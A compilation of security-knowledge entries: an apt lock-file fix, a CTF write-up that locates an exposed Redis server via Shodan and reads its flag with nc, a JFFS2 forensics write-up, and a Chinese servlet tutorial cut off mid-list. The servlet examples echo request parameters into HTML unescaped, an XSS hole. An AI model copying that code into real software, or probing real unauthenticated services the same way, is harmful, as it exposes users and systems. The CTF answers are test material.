apt-key add apt-get update ``` - **无法获得锁 /var/lib/apt/lists/lock - open (11: 资源暂时不可用)** ```bash rm -rf /var/cache/apt/archives/lock rm -rf /var/lib/dpkg/lock-frontend rm -rf /var/lib/dpkg/lock # 强制解锁占用 rm /var/lib/dpkg/lock rm /var/lib/apt/lists/lock ```
sec-knowleage
# Redis in the wild * Category: OSINT * 300 Points * Solved by the JCTF Team ## Description > In order to evaluate your OSINT skills, we hid a server on the internet! > > All we share is the following things: > > Our server is located in Frankfurt and belongs to DigitalOcean. > Our server has been indexed in shodan. > Our server is running a Redis service that contains the flag by the key "flag" > > Your mission is to figure out and find our server, and then submit the flag! ## Solution This one was pretty simple. Search [Shodan](https://www.shodan.io/) for '[org:"DigitalOcean" city:Frankfurt Redis flag"](https://www.shodan.io/search?query=org%3A%22DigitalOcean%22+city%3AFrankfurt+Redis+flag)'. The only result is: ``` 46.101.175.108 Property Name Value area_code null asn AS200130 city Frankfurt country_code DE country_code3 DEU country_name Germany data.0._shodan.crawler 545144fc95e7a7ef13ece5dbceb98ee386b37950 data.0._shodan.id null data.0._shodan.module ssh data.0._shodan.ptr True data.0.cpe ['cpe:/a:openbsd:openssh:7.6p1 Ubuntu-4ubuntu0.3'] data.0.data SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 Key type: ssh-rsa Key: AAAAB3NzaC1yc2EAAAADAQABAAABAQC2d54zxb0xRv9HlqnMp1Qe/elxyhw9q7+jm/cEg2Fq+oQo hDKyrhRbXr+YOf/+QxeZdFNj6xHHRB9v+C2p9rArEI9k1QwTUgQFwhpqNGKLhDhdXWkxWoVmomRl elSVKK2pbq0URZlFscfgesZgUySoER8OXCJ2WS2mmY1CE0ho0u2MaATRk+7akTlGwn2RA/3x2gU0 wTPBOCQ8UyhHSEXiVbDWC0fXHkF8G6l18rXqKheHM913UY6AedHqhHpG0WRbOSt5p8J0pvDGOn5v teLhqfLz3WL6QBrQzzYSqLD9+qz6WJKIfUhkECLmPqwm4k5ZLly5ru2gA+v0aYls1HFB Fingerprint: 4e:9a:71:fc:a6:2b:4b:d5:ef:ec:cf:73:1d:02:e1:a2 Kex Algorithms: curve25519-sha256 curve25519-sha256@libssh.org ecdh-sha2-nistp256 ecdh-sha2-nistp384 ecdh-sha2-nistp521 diffie-hellman-group-exchange-sha256 diffie-hellman-group16-sha512 diffie-hellman-group18-sha512 diffie-hellman-group14-sha256 diffie-hellman-group14-sha1 Server Host Key Algorithms: ssh-rsa rsa-sha2-512 rsa-sha2-256 ecdsa-sha2-nistp256 ssh-ed25519 Encryption Algorithms: chacha20-poly1305@openssh.com aes128-ctr aes192-ctr aes256-ctr aes128-gcm@openssh.com aes256-gcm@openssh.com MAC Algorithms: umac-64-etm@openssh.com umac-128-etm@openssh.com hmac-sha2-256-etm@openssh.com hmac-sha2-512-etm@openssh.com hmac-sha1-etm@openssh.com umac-64@openssh.com umac-128@openssh.com hmac-sha2-256 hmac-sha2-512 hmac-sha1 Compression Algorithms: none zlib@openssh.com data.0.domains [] data.0.hash 436255690 data.0.hostnames [] data.0.info protocol 2.0 data.0.port 22 data.0.product OpenSSH data.0.ssh.cipher aes128-ctr data.0.ssh.fingerprint 4e:9a:71:fc:a6:2b:4b:d5:ef:ec:cf:73:1d:02:e1:a2 data.0.ssh.hassh b12d2871a1189eff20364cf5333619ee data.0.ssh.kex.compression_algorithms ['none', 'zlib@openssh.com'] data.0.ssh.kex.encryption_algorithms ['chacha20-poly1305@openssh.com', 'aes128-ctr', 'aes192-ctr', 'aes256-ctr', 'aes128-gcm@openssh.com', 'aes256-gcm@openssh.com'] data.0.ssh.kex.kex_algorithms ['curve25519-sha256', 'curve25519-sha256@libssh.org', 'ecdh-sha2-nistp256', 'ecdh-sha2-nistp384', 'ecdh-sha2-nistp521', 'diffie-hellman-group-exchange-sha256', 'diffie-hellman-group16-sha512', 'diffie-hellman-group18-sha512', 'diffie-hellman-group14-sha256', 'diffie-hellman-group14-sha1'] data.0.ssh.kex.kex_follows False data.0.ssh.kex.languages [''] data.0.ssh.kex.mac_algorithms ['umac-64-etm@openssh.com', 'umac-128-etm@openssh.com', 'hmac-sha2-256-etm@openssh.com', 'hmac-sha2-512-etm@openssh.com', 'hmac-sha1-etm@openssh.com', 'umac-64@openssh.com', 'umac-128@openssh.com', 'hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] data.0.ssh.kex.server_host_key_algorithms ['ssh-rsa', 'rsa-sha2-512', 'rsa-sha2-256', 'ecdsa-sha2-nistp256', 'ssh-ed25519'] data.0.ssh.kex.unused 0 data.0.ssh.key AAAAB3NzaC1yc2EAAAADAQABAAABAQC2d54zxb0xRv9HlqnMp1Qe/elxyhw9q7+jm/cEg2Fq+oQo hDKyrhRbXr+YOf/+QxeZdFNj6xHHRB9v+C2p9rArEI9k1QwTUgQFwhpqNGKLhDhdXWkxWoVmomRl elSVKK2pbq0URZlFscfgesZgUySoER8OXCJ2WS2mmY1CE0ho0u2MaATRk+7akTlGwn2RA/3x2gU0 wTPBOCQ8UyhHSEXiVbDWC0fXHkF8G6l18rXqKheHM913UY6AedHqhHpG0WRbOSt5p8J0pvDGOn5v teLhqfLz3WL6QBrQzzYSqLD9+qz6WJKIfUhkECLmPqwm4k5ZLly5ru2gA+v0aYls1HFB data.0.ssh.mac hmac-sha2-256 data.0.ssh.type ssh-rsa data.0.tags ['cloud'] data.0.timestamp 2019-06-18T18:19:00.323936 data.0.transport tcp data.0.version 7.6p1 Ubuntu-4ubuntu0.3 data.1._shodan.crawler d264629436af1b777b3b513ca6ed1404d7395d80 data.1._shodan.id f9d51810-0115-4ab3-9d9c-efa82ec28b47 data.1._shodan.module redis data.1._shodan.ptr True data.1.data # Server redis_version:5.0.5 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:7983a619928f1f2d redis_mode:standalone os:Linux 4.15.0-50-generic x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:6.3.0 process_id:9 run_id:62dcdf7717bb79e873dd972f8b2a749bce0bbf57 tcp_port:6379 uptime_in_seconds:636175 uptime_in_days:7 hz:10 configured_hz:10 lru_clock:15941456 executable:/tmp/redis-server config_file: # Clients connected_clients:2 client_recent_max_input_buffer:2 client_recent_max_output_buffer:0 blocked_clients:0 # Memory used_memory:1923832 used_memory_human:1.83M used_memory_rss:5947392 used_memory_rss_human:5.67M used_memory_peak:1984640 used_memory_peak_human:1.89M used_memory_peak_perc:96.94% used_memory_overhead:1906568 used_memory_startup:791272 used_memory_dataset:17264 used_memory_dataset_perc:1.52% allocator_allocated:1893776 allocator_active:2064384 allocator_resident:4460544 total_system_memory:1033347072 total_system_memory_human:985.48M used_memory_lua:37888 used_memory_lua_human:37.00K used_memory_scripts:0 used_memory_scripts_human:0B number_of_cached_scripts:0 maxmemory:0 maxmemory_human:0B maxmemory_policy:noeviction allocator_frag_ratio:1.09 allocator_frag_bytes:170608 allocator_rss_ratio:2.16 allocator_rss_bytes:2396160 rss_overhead_ratio:1.33 rss_overhead_bytes:1486848 mem_fragmentation_ratio:3.20 mem_fragmentation_bytes:4086464 mem_not_counted_for_evict:0 mem_replication_backlog:1048576 mem_clients_slaves:0 mem_clients_normal:66616 mem_aof_buffer:0 mem_allocator:jemalloc-5.1.0 active_defrag_running:0 lazyfree_pending_objects:0 # Persistence loading:0 rdb_changes_since_last_save:0 rdb_bgsave_in_progress:0 rdb_last_save_time:1559364040 rdb_last_bgsave_status:ok rdb_last_bgsave_time_sec:-1 rdb_current_bgsave_time_sec:-1 rdb_last_cow_size:0 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_last_write_status:ok aof_last_cow_size:0 # Stats total_connections_received:90 total_commands_processed:63543 instantaneous_ops_per_sec:0 total_net_input_bytes:896638 total_net_output_bytes:24769302 instantaneous_input_kbps:0.00 instantaneous_output_kbps:0.05 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:0 expired_stale_perc:0.00 expired_time_cap_reached_count:0 evicted_keys:0 keyspace_hits:4 keyspace_misses:0 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:0 migrate_cached_sockets:0 slave_expires_tracked_keys:0 active_defrag_hits:0 active_defrag_misses:0 active_defrag_key_hits:0 active_defrag_key_misses:0 # Replication role:slave master_host:redis-master master_port:6380 master_link_status:up master_last_io_seconds_ago:8 master_sync_in_progress:0 slave_repl_offset:887572 slave_priority:100 slave_read_only:1 connected_slaves:0 master_replid:cb2d2104e3a00cddb597c7076c3beec4022ff2f6 master_replid2:0000000000000000000000000000000000000000 master_repl_offset:887572 second_repl_offset:-1 repl_backlog_active:1 repl_backlog_size:1048576 repl_backlog_first_byte_offset:1 repl_backlog_histlen:887572 # CPU used_cpu_sys:562.952297 used_cpu_user:476.872706 used_cpu_sys_children:0.000000 used_cpu_user_children:0.000000 # Cluster cluster_enabled:0 # Keyspace db0:keys=1,expires=0,avg_ttl=0 # Keys flag # Connected Clients id=3 addr=172.18.0.2:6380 fd=9 name= age=636175 idle=8 flags=M db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-free=0 obl=0 oll=0 omem=0 events=r cmd=ping id=93 addr=82.98.254.57:55094 fd=10 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=26 qbuf-free=32742 obl=0 oll=0 omem=0 events=r cmd=client data.1.domains [] data.1.hash 601215482 data.1.hostnames [] data.1.port 6379 data.1.product Redis key-value store data.1.redis.clients [{u'sub': 0, u'obl': 0, u'addr': [u'172.18.0.2', 6380], u'omem': 0, u'db': 0, u'age': 636175, u'cmd': u'ping', u'oll': 0, u'multi': -1, u'id': 3, u'qbuf': 0, u'psub': 0, u'fd': 9, u'qbuf-free': 0, u'flags': u'M', u'events': u'r', u'idle': 8, u'name': u''}, {u'sub': 0, u'obl': 0, u'addr': [u'82.98.254.57', 55094], u'omem': 0, u'db': 0, u'age': 0, u'cmd': u'client', u'oll': 0, u'multi': -1, u'id': 93, u'qbuf': 26, u'psub': 0, u'fd': 10, u'qbuf-free': 32742, u'flags': u'N', u'events': u'r', u'idle': 0, u'name': u''}] data.1.redis.cluster.cluster_enabled 0 data.1.redis.cpu.used_cpu_sys 562.952297 data.1.redis.cpu.used_cpu_sys_children 0.0 data.1.redis.cpu.used_cpu_user 476.872706 data.1.redis.cpu.used_cpu_user_children 0.0 data.1.redis.keys.data ['flag'] data.1.redis.keys.more False data.1.redis.keyspace.db0 keys=1,expires=0,avg_ttl=0 data.1.redis.memory.active_defrag_running 0 data.1.redis.memory.allocator_active 2064384 data.1.redis.memory.allocator_allocated 1893776 data.1.redis.memory.allocator_frag_bytes 170608 data.1.redis.memory.allocator_frag_ratio 1.09 data.1.redis.memory.allocator_resident 4460544 data.1.redis.memory.allocator_rss_bytes 2396160 data.1.redis.memory.allocator_rss_ratio 2.16 data.1.redis.memory.lazyfree_pending_objects 0 data.1.redis.memory.maxmemory 0 data.1.redis.memory.maxmemory_human 0B data.1.redis.memory.maxmemory_policy noeviction data.1.redis.memory.mem_allocator jemalloc-5.1.0 data.1.redis.memory.mem_aof_buffer 0 data.1.redis.memory.mem_clients_normal 66616 data.1.redis.memory.mem_clients_slaves 0 data.1.redis.memory.mem_fragmentation_bytes 4086464 data.1.redis.memory.mem_fragmentation_ratio 3.2 data.1.redis.memory.mem_not_counted_for_evict 0 data.1.redis.memory.mem_replication_backlog 1048576 data.1.redis.memory.number_of_cached_scripts 0 data.1.redis.memory.rss_overhead_bytes 1486848 data.1.redis.memory.rss_overhead_ratio 1.33 data.1.redis.memory.total_system_memory 1033347072 data.1.redis.memory.total_system_memory_human 985.48M data.1.redis.memory.used_memory 1923832 data.1.redis.memory.used_memory_dataset 17264 data.1.redis.memory.used_memory_dataset_perc 1.52% data.1.redis.memory.used_memory_human 1.83M data.1.redis.memory.used_memory_lua 37888 data.1.redis.memory.used_memory_lua_human 37.00K data.1.redis.memory.used_memory_overhead 1906568 data.1.redis.memory.used_memory_peak 1984640 data.1.redis.memory.used_memory_peak_human 1.89M data.1.redis.memory.used_memory_peak_perc 96.94% data.1.redis.memory.used_memory_rss 5947392 data.1.redis.memory.used_memory_rss_human 5.67M data.1.redis.memory.used_memory_scripts 0 data.1.redis.memory.used_memory_scripts_human 0B data.1.redis.memory.used_memory_startup 791272 data.1.redis.persistence.aof_current_rewrite_time_sec -1 data.1.redis.persistence.aof_enabled 0 data.1.redis.persistence.aof_last_bgrewrite_status ok data.1.redis.persistence.aof_last_cow_size 0 data.1.redis.persistence.aof_last_rewrite_time_sec -1 data.1.redis.persistence.aof_last_write_status ok data.1.redis.persistence.aof_rewrite_in_progress 0 data.1.redis.persistence.aof_rewrite_scheduled 0 data.1.redis.persistence.loading 0 data.1.redis.persistence.rdb_bgsave_in_progress 0 data.1.redis.persistence.rdb_changes_since_last_save 0 data.1.redis.persistence.rdb_current_bgsave_time_sec -1 data.1.redis.persistence.rdb_last_bgsave_status ok data.1.redis.persistence.rdb_last_bgsave_time_sec -1 data.1.redis.persistence.rdb_last_cow_size 0 data.1.redis.persistence.rdb_last_save_time 1559364040 data.1.redis.replication.connected_slaves 0 data.1.redis.replication.master_host redis-master data.1.redis.replication.master_last_io_seconds_ago 8 data.1.redis.replication.master_link_status up data.1.redis.replication.master_port 6380 data.1.redis.replication.master_repl_offset 887572 data.1.redis.replication.master_replid cb2d2104e3a00cddb597c7076c3beec4022ff2f6 data.1.redis.replication.master_replid2 0 data.1.redis.replication.master_sync_in_progress 0 data.1.redis.replication.repl_backlog_active 1 data.1.redis.replication.repl_backlog_first_byte_offset 1 data.1.redis.replication.repl_backlog_histlen 887572 data.1.redis.replication.repl_backlog_size 1048576 data.1.redis.replication.role slave data.1.redis.replication.second_repl_offset -1 data.1.redis.replication.slave_priority 100 data.1.redis.replication.slave_read_only 1 data.1.redis.replication.slave_repl_offset 887572 data.1.redis.server.arch_bits 64 data.1.redis.server.atomicvar_api atomic-builtin data.1.redis.server.config_file data.1.redis.server.configured_hz 10 data.1.redis.server.executable /tmp/redis-server data.1.redis.server.gcc_version 6.3.0 data.1.redis.server.hz 10 data.1.redis.server.lru_clock 15941456 data.1.redis.server.multiplexing_api epoll data.1.redis.server.os Linux 4.15.0-50-generic x86_64 data.1.redis.server.process_id 9 data.1.redis.server.redis_build_id 7983a619928f1f2d data.1.redis.server.redis_git_dirty 0 data.1.redis.server.redis_git_sha1 0 data.1.redis.server.redis_mode standalone data.1.redis.server.redis_version 5.0.5 data.1.redis.server.run_id 62dcdf7717bb79e873dd972f8b2a749bce0bbf57 data.1.redis.server.tcp_port 6379 data.1.redis.server.uptime_in_days 7 data.1.redis.server.uptime_in_seconds 636175 data.1.redis.stats.active_defrag_hits 0 data.1.redis.stats.active_defrag_key_hits 0 data.1.redis.stats.active_defrag_key_misses 0 data.1.redis.stats.active_defrag_misses 0 data.1.redis.stats.evicted_keys 0 data.1.redis.stats.expired_keys 0 data.1.redis.stats.expired_stale_perc 0.0 data.1.redis.stats.expired_time_cap_reached_count 0 data.1.redis.stats.instantaneous_input_kbps 0.0 data.1.redis.stats.instantaneous_ops_per_sec 0 data.1.redis.stats.instantaneous_output_kbps 0.05 data.1.redis.stats.keyspace_hits 4 data.1.redis.stats.keyspace_misses 0 data.1.redis.stats.latest_fork_usec 0 data.1.redis.stats.migrate_cached_sockets 0 data.1.redis.stats.pubsub_channels 0 data.1.redis.stats.pubsub_patterns 0 data.1.redis.stats.rejected_connections 0 data.1.redis.stats.slave_expires_tracked_keys 0 data.1.redis.stats.sync_full 0 data.1.redis.stats.sync_partial_err 0 data.1.redis.stats.sync_partial_ok 0 data.1.redis.stats.total_commands_processed 63543 data.1.redis.stats.total_connections_received 90 data.1.redis.stats.total_net_input_bytes 896638 data.1.redis.stats.total_net_output_bytes 24769302 data.1.tags ['cloud'] data.1.timestamp 2019-06-02T03:15:28.641722 data.1.transport tcp data.1.version 5.0.5 dma_code null hostnames [] ip 778415980 ip_str 46.101.175.108 isp DigitalOcean last_update 2019-06-18T18:19:00.323936 latitude 50.1155 longitude 8.6842 org DigitalOcean os null ports [22, 6379] postal_code 60313 region_code 05 tags ['cloud'] ``` Connect to the server and request the flag: ```console root@kali:/media/sf_CTFs/bsidestlv/Redis_in_the_wild# nc 46.101.175.108 6379 get flag $26 BSidesTLV{L00ksL1k30s1nt!} ```
sec-knowleage
# epic mount Forensics ## Description: > A little bit of stego. Not every header field looks like the other. A binary file was attached. ## Solution: Let's inspect the binary: ```console root@kali:/media/sf_CTFs/35c3ctf/epic_mount# file f9be7cb88a778615216f212d58f62ea3-epic-fs.bin f9be7cb88a778615216f212d58f62ea3-epic-fs.bin: data root@kali:/media/sf_CTFs/35c3ctf/epic_mount# binwalk f9be7cb88a778615216f212d58f62ea3-epic-fs.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JFFS2 filesystem, big endian ``` Same as [rare mount](rare_mount.md). What worked there was using `jffs2dump`, let's try it here too: ```console root@kali:/media/sf_CTFs/35c3ctf/epic_mount# jffs2dump -r -e epic-fs-le.bin -b f9be7cb88a778615216f212d58f62ea3-epic-fs.bin root@kali:/media/sf_CTFs/35c3ctf/epic_mount# ../rare_mount/mount.sh epic-fs-le.bin /mnt/m 256 17152+0 records in 17152+0 records out 8781824 bytes (8.8 MB, 8.4 MiB) copied, 1.21051 s, 7.3 MB/s Successfully mounted epic-fs-le.bin on /mnt/m root@kali:/media/sf_CTFs/35c3ctf/epic_mount# ls /mnt/m RickRoll_D-oHg5SJYRHA0.mkv root@kali:/media/sf_CTFs/35c3ctf/epic_mount# umount /mnt/m ``` Just a [Rickroll](https://www.youtube.com/watch?v=dQw4w9WgXcQ). What's the difference between the two file systems - the one from "rare mount", and this one? ```console root@kali:/media/sf_CTFs/35c3ctf/epic_mount# cmp -l --print-bytes f9be7cb88a778615216f212d58f62ea3-epic-fs.bin ../rare_mount/ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin 3665 63 3 0 ^@ 16157 65 5 0 ^@ 28605 103 C 0 ^@ 45241 63 3 0 ^@ 86797 137 _ 0 ^@ 153501 150 h 0 ^@ 170157 151 i 0 ^@ 262177 144 d 0 ^@ 474269 145 e 0 ^@ 528485 137 _ 0 ^@ 574289 155 m 0 ^@ 582617 145 e 0 ^@ 615929 137 _ 0 ^@ 628421 142 b 0 ^@ 707577 141 a 0 ^@ 765873 142 b 0 ^@ 836805 171 y 0 ^@ 928541 137 _ 0 ^@ 1057705 157 o 0 ^@ 1149313 156 n 0 ^@ 1336853 145 e 0 ^@ 1341017 137 _ 0 ^@ 5378145 155 m 0 ^@ 5415613 157 o 0 ^@ 5677953 162 r 0 ^@ 5727893 145 e 0 ^@ 5902877 137 _ 0 ^@ 6027865 164 t 0 ^@ 6144449 151 i 0 ^@ 6244413 155 m 0 ^@ 8653041 145 e 0 ^@ ``` That actually worked! Although, I suppose the organizers wanted us to find the flag by parsing the header. Anyway, here's a Python script that does the same thing: ```python import os import mmap def memory_map(filename, access=mmap.ACCESS_READ): size = os.path.getsize(filename) fd = os.open(filename, os.O_RDONLY) return mmap.mmap(fd, size, access=access) with memory_map("f9be7cb88a778615216f212d58f62ea3-epic-fs.bin") as f1, memory_map("../rare_mount/ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin") as f2: res = "" for i in range(len(f1)): if f1[i] != f2[i]: if f2[i] != 0: break res += chr(f1[i]) print (res) ``` The flag: 35C3_hide_me_baby_one_more_time
sec-knowleage
# servlet-2 --- ## 表单数据 当你需要从浏览器到 Web 服务器传递一些信息并最终传回到后台程序时,你一定遇到了许多情况。浏览器使用两种方法向 Web 服务器传递信息。这些方法是 GET 方法和 POST 方法。 **GET 方法** GET 方法向页面请求发送已编码的用户信息。页面和已编码的信息用 ? 字符分隔,如下所示: - http://www.test.com/hello?key1=value1&key2=value2 GET 方法是从浏览器向 web 服务器传递信息的默认的方法,且它会在你的浏览器的地址栏中产生一个很长的字符串。如果你向服务器传递密码或其他敏感信息,请不要使用 GET 方法。GET 方法有大小限制:请求字符串中最多只能有 1024 个字符。 这些信息使用 QUERY_STRING 头传递,并通过 QUERY_STRING 环境变量访问,Servlet 使用 `doGet()` 方法处理这种类型的请求。 **POST 方法** 一般情况下,将信息传递给后台程序的一种更可靠的方法是 POST 方法。POST 方法打包信息的方式与 GET 方法相同,但是 POST 方法不是把信息作为 URL 中 ? 字符之后的文本字符串进行发送,而是把它作为一个单独的消息发送。消息以标准输出的形式传到后台程序,你可以在你的处理过程中解析并使用这些标准输出。Servlet 使用 `doPost()` 方法处理这种类型的请求。 使用 Servlet 读取表单数据 Servlet 以自动解析的方式处理表单数据,根据不同的情况使用如下不同的方法: * getParameter():你可以调用 request.getParameter() 方法来获取表单参数的值。 * getParameterValues():如果参数出现不止一次,那么调用该方法并返回多个值,例如复选框。 * getParameterNames():如果你想要得到一个当前请求的所有参数的完整列表,那么调用该方法。 ### 使用 URL 的 GET 方法实例 这是一个简单的 URL,使用 GET 方法将两个值传递给 HelloForm 程序。 - http://localhost:8080/HelloForm?first_name=ZARA&last_name=ALI 下面是 HelloForm.java servlet 程序,处理由 web 浏览器给定的输入。我们将使用 getParameter() 方法,使访问传递的信息变得非常容易: ```java // Import required java libraries import java.io.*; import javax.servlet.*; import javax.servlet.http.*; // Extend HttpServlet class public class HelloForm extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // Set response content type response.setContentType("text/html"); PrintWriter out = response.getWriter(); String title = "Using GET Method to Read Form Data"; String docType = "<!doctype html public \"-//w3c//dtd html 4.0 " + "transitional//en\">\n"; out.println(docType + "<html>\n" + "<head><title>" + title + "</title></head>\n" + "<body bgcolor=\"#f0f0f0\">\n" + "<h1 align=\"center\">" + title + "</h1>\n" + "<ul>\n" + " <li><b>First Name</b>: " + request.getParameter("first_name") + "\n" + " <li><b>Last Name</b>: " + request.getParameter("last_name") + "\n" + "</ul>\n" + "</body></html>"); } } ``` 在 web.xml 文件中创建以下条目: ```xml <servlet> <servlet-name>HelloForm</servlet-name> <servlet-class>HelloForm</servlet-class> </servlet> <servlet-mapping> <servlet-name>HelloForm</servlet-name> <url-pattern>/HelloForm</url-pattern> </servlet-mapping> ``` 现在在你浏览器的地址栏中输入 http://localhost:8080/HelloForm?first_name=ZARA&last_name=ALI ,并在浏览器中触发上述命令之前,确保你已经启动 Tomcat 服务器。这将产生如下所示的结果: ### 使用表单的 GET 方法实例 下面是一个简单的实例,使用 HTML 表单和提交按钮传递两个值。我们将使用相同的 Servlet HelloForm 来处理这个输入。 ```html <html> <body> <form action="HelloForm" method="GET"> First Name: <input type="text" name="first_name"> <br /> Last Name: <input type="text" name="last_name" /> <input type="submit" value="Submit" /> </form> </body> </html> ``` 将这个 HTML 保存到 hello.htm 文件中,并把它放在 /webapps/ROOT 目录下。当你访问 http://localhost:8080/Hello.htm 时,下面是上述表单的实际输出。 尝试输入姓名,然后点击提交按钮来在 tomcat 运行的本地计算机上查看结果。基于提供的输入,它会产生与上述例子中相似的结果。 ### 使用表单的 POST 方法实例 让我们对上述 servlet 做一点修改,以便它可以处理 GET 方法和 POST 方法。下面是 HelloForm.java servlet 程序,使用 GET 和 POST 方法处理由 web 浏览器给出的输入。 ```java // Import required java libraries import java.io.*; import javax.servlet.*; import javax.servlet.http.*; // Extend HttpServlet class public class HelloForm extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // Set response content type response.setContentType("text/html"); PrintWriter out = response.getWriter(); String title = "Using GET Method to Read Form Data"; String docType = "<!doctype html public \"-//w3c//dtd html 4.0 " + "transitional//en\">\n"; out.println(docType + "<html>\n" + "<head><title>" + title + "</title></head>\n" + "<body bgcolor=\"#f0f0f0\">\n" + "<h1 align=\"center\">" + title + "</h1>\n" + "<ul>\n" + " <li><b>First Name</b>: " + request.getParameter("first_name") + "\n" + " <li><b>Last Name</b>: " + request.getParameter("last_name") + "\n" + "</ul>\n" + "</body></html>"); } // Method to handle POST method request. public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } } ``` 现在编译,部署上述 Servlet,并使用带有 POST 方法的 Hello.htm 测试它,如下所示: ```html <html> <body> <form action="HelloForm" method="POST"> First Name: <input type="text" name="first_name"> <br /> Last Name: <input type="text" name="last_name" /> <input type="submit" value="Submit" /> </form> </body> </html> ``` 这是上述表单的实际输出,尝试输入姓名,然后点击提交按钮,在 tomcat 运行的本地计算机上查看结果。 ### 将复选框数据传递到 Servlet 程序 这是一个 HTML 代码实例,CheckBox.htm,一个表单带有两个复选框。 ```html <html> <body> <form action="CheckBox" method="POST" target="_blank"> <input type="checkbox" name="maths" checked="checked" /> Maths <input type="checkbox" name="physics" /> Physics <input type="checkbox" name="chemistry" checked="checked" /> Chemistry <input type="submit" value="Select Subject" /> </form> </body> </html> ``` 下面是 CheckBox.java servlet 程序,来为复选框按钮处理 web 浏览器给定的输入。 ```java // Import required java libraries import java.io.*; import javax.servlet.*; import javax.servlet.http.*; // Extend HttpServlet class public class CheckBox extends HttpServlet { // Method to handle GET method request. public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // Set response content type response.setContentType("text/html"); PrintWriter out = response.getWriter(); String title = "Reading Checkbox Data"; String docType = "<!doctype html public \"-//w3c//dtd html 4.0 " + "transitional//en\">\n"; out.println(docType + "<html>\n" + "<head><title>" + title + "</title></head>\n" + "<body bgcolor=\"#f0f0f0\">\n" + "<h1 align=\"center\">" + title + "</h1>\n" + "<ul>\n" + " <li><b>Maths Flag : </b>: " + request.getParameter("maths") + "\n" + " <li><b>Physics Flag: </b>: " + request.getParameter("physics") + "\n" + " <li><b>Chemistry Flag: </b>: " + request.getParameter("chemistry") + "\n" + "</ul>\n" + "</body></html>"); } // Method to handle POST method request. public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } } ``` --- ### 读取所有的表单参数 以下是使用 HttpServletRequest 的 `getParameterNames()` 方法的通用实例来读取所有可用的表单参数。该方法返回一个枚举,包含了未指定顺序的参数名称。 一旦我们得到一个枚举,我们可以以标准方式循环这个枚举,使用 `hasMoreElements()` 方法来确定何时停止循环,使用 `nextElement()` 方法来获取每个参数的名称。 ```java // Import required java libraries import java.io.*; import javax.servlet.*; import javax.servlet.http.*; import java.util.*; // Extend HttpServlet class public class ReadParams extends HttpServlet { // Method to handle GET method request. public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // Set response content type response.setContentType("text/html"); PrintWriter out = response.getWriter(); String title = "Reading All Form Parameters"; String docType = "<!doctype html public \"-//w3c//dtd html 4.0 " + "transitional//en\">\n"; out.println(docType + "<html>\n" + "<head><title>" + title + "</title></head>\n" + "<body bgcolor=\"#f0f0f0\">\n" + "<h1 align=\"center\">" + title + "</h1>\n" + "<table width=\"100%\" border=\"1\" align=\"center\">\n" + "<tr bgcolor=\"#949494\">\n" + "<th>Param Name</th><th>Param Value(s)</th>\n"+ "</tr>\n"); Enumeration paramNames = request.getParameterNames(); while(paramNames.hasMoreElements()) { String paramName = (String)paramNames.nextElement(); out.print("<tr><td>" + paramName + "</td>\n<td>"); String[] paramValues = request.getParameterValues(paramName); // Read single valued data if (paramValues.length == 1) { String paramValue = paramValues[0]; if (paramValue.length() == 0) out.println("<i>No Value</i>"); else out.println(paramValue); } else { // Read multiple valued data out.println("<ul>"); for(int i=0; i < paramValues.length; i++) { out.println("<li>" + paramValues[i]); } out.println("</ul>"); } } out.println("</tr>\n</table>\n</body></html>"); } // Method to handle POST method request. public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } } ``` 现在,用下面的表单尝试上述 servlet: ```html <html> <body> <form action="ReadParams" method="POST" target="_blank"> <input type="checkbox" name="maths" checked="checked" /> Maths <input type="checkbox" name="physics" /> Physics <input type="checkbox" name="chemistry" checked="checked" /> Chem <input type="submit" value="Select Subject" /> </form> </body> </html> ``` 现在使用上述表单调用 servlet 将产生如下所示结果: --- ## 客户端 HTTP 请求 当浏览器请求网页时,它会向 web 服务器发送大量信息,这些信息不能被直接读取,因为这些信息是作为 HTTP 请求头的一部分行进的。 下述方法可以用于读取 servlet 程序中的 HTTP 头信息。通过 HttpServletRequest 对象这些方法是可用的。 ``` Cookie[] getCookies() 返回一个数组,包含客户端发送该请求的所有的 Cookie 对象。 ``` ``` Enumeration getAttributeNames() 返回一个枚举,包含提供给该请求可用的属性名称。 ``` ``` Enumeration getHeaderNames() 返回一个枚举,包含在该请求中包含的所有的头名。 ``` ``` Enumeration getParameterNames() 返回一个 String 对象的枚举,包含在该请求中包含的参数的名称。 ``` ``` HttpSession getSession() 返回与该请求关联的当前 session 会话,或者如果请求没有 session 会话,则创建一个。 ``` ``` HttpSession getSession(boolean create) 返回与该请求关联的当前 HttpSession,或者如果没有当前会话,且创建是真的,则返回一个新的 session 会话。 ``` ``` Locale getLocale() 基于 Accept-Language 头,返回客户端接受内容的首选的区域设置。 ``` ``` Object getAttribute(String name) 以对象形式返回已命名属性的值,如果没有给定名称的属性存在,则返回 null。 ``` ``` ServletInputStream getInputStream() 使用 ServletInputStream,以二进制数据形式检索请求的主体。 ``` ``` String getAuthType() 返回用于保护 Servlet 的身份验证方案的名称,例如,“BASIC” 或 “SSL”,如果JSP没有受到保护则返回 null。 ``` ``` String getCharacterEncoding() 返回请求主体中使用的字符编码的名称。 ``` ``` String getContentType() 返回请求主体的 MIME 类型,如果不知道类型则返回 null。 ``` ``` String getContextPath() 